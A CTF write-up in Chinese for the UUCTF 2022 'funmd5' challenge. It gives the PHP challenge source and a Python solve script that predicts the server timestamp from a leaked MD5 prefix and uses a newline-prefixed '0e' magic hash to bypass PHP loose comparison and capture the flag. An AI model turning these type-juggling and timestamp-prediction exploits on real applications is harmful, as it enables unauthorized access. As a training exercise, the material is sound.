[UUCTF 2022 新生赛]funmd5 0e 碰撞与时间戳预测

1
 <?php
2
error_reporting(0);
3
include "flag.php";
4
$time=time();
5
$guessmd5=md5($time);
6
$md5=$_GET["md5"];
7
if(isset($md5)){
8
    $sub=substr($time,-1);
9
    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
10
    if(preg_match('/0e/',$md5[0])){
11
        $md5[0]=substr($md5[0],$sub);
12
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
13
            echo "well!you win again!now flag is yours.<br>";
14
            echo $flag;
15
        }
16
        else{
17
            echo $md5[0];
18
            echo "oh!no!maybe you need learn more PHP!";
19
        }
20
    }
21
    else{
22
        echo "this is your md5:$md5[0]<br>";
23
        echo "maybe you need more think think!";
24
    }
25
}
26
else{
27
    highlight_file(__FILE__);
28
    $sub=strlen($md5[0]);
29
    echo substr($guessmd5,0,5)."<br>";
30
    echo "plase give me the md5!";
31
}
32
?>
33
7ffb4
34
plase give me the md5!

1
import requests
2
import hashlib
3
import time
4
import re
5

6
# 目标 URL
7
url = "http://node5.anna.nssctf.cn:22221"   # 替换为实际 URL
8

9
# 已知的 0e 碰撞字符串
10
COLLISION = "0e215962017"
11

12
while True:
13
    # 1. 获取 $guessmd5 前 5 位
14
    r = requests.get(url)
15
    match = re.search(r'([0-9a-f]{5})<br>', r.text)
16
    if not match:
17
        print("未获取到前5位，重试...")
18
        time.sleep(0.5)
19
        continue
20
    prefix5 = match.group(1)
21
    print(f"[+] 获取到前5位: {prefix5}")
22

23
    # 2. 暴力枚举时间戳，找到完整 $guessmd5
24
    now = int(time.time())
25
    found_T = None
26
    for delta in range(-120, 120):  # 前后搜索2分钟
27
        T = now + delta
28
        if hashlib.md5(str(T).encode()).hexdigest().startswith(prefix5):
29
            found_T = T
30
            break
31

32
    if found_T is None:
33
        print("[-] 未找到匹配时间戳，重试...")
34
        time.sleep(0.5)
35
        continue
36

37
    guess_md5 = hashlib.md5(str(found_T).encode()).hexdigest()
38
    sub = found_T % 10
39
    print(f"[+] 时间戳: {found_T}, sub = {sub}, guess_md5 = {guess_md5}")
40

41
    # 检查 sub 是否为 0，为 0 则无法构造前缀
42
    if sub == 0:
43
        print("[-] sub 为 0，等待下一秒...")
44
        time.sleep(1)
45
        continue
46

47
    # 检查 guess_md5 是否包含 '0e'，若包含则会被替换
48
    if '0e' in guess_md5:
49
        print("[-] guess_md5 包含 '0e'，等待下一秒...")
50
        time.sleep(1)
51
        continue
52

53
    # 3. 构造 $md5[0]
54
    # 前缀长度为 sub，包含换行符，且换行符放在 0e 之前
55
    prefix = 'a' * (sub - 1) + '\n'  # 长度为 sub
56
    md5_0 = prefix + COLLISION
57

58
    # 4. 发送请求
59
    params = {
60
        'md5[0]': md5_0,
61
        'md5[1]': guess_md5
62
    }
63
    # requests 会自动对参数进行 URL 编码
64
    r2 = requests.get(url, params=params)
65
    if "well!you win again!" in r2.text or "flag" in r2.text:
66
        print("[+] 成功！")
67
        print(r2.text)
68
        break
69
    else:
70
        print("[-] 尝试失败，响应：")
71
        print(r2.text[:200])
72
        # 等待一下重试
73
        time.sleep(0.5)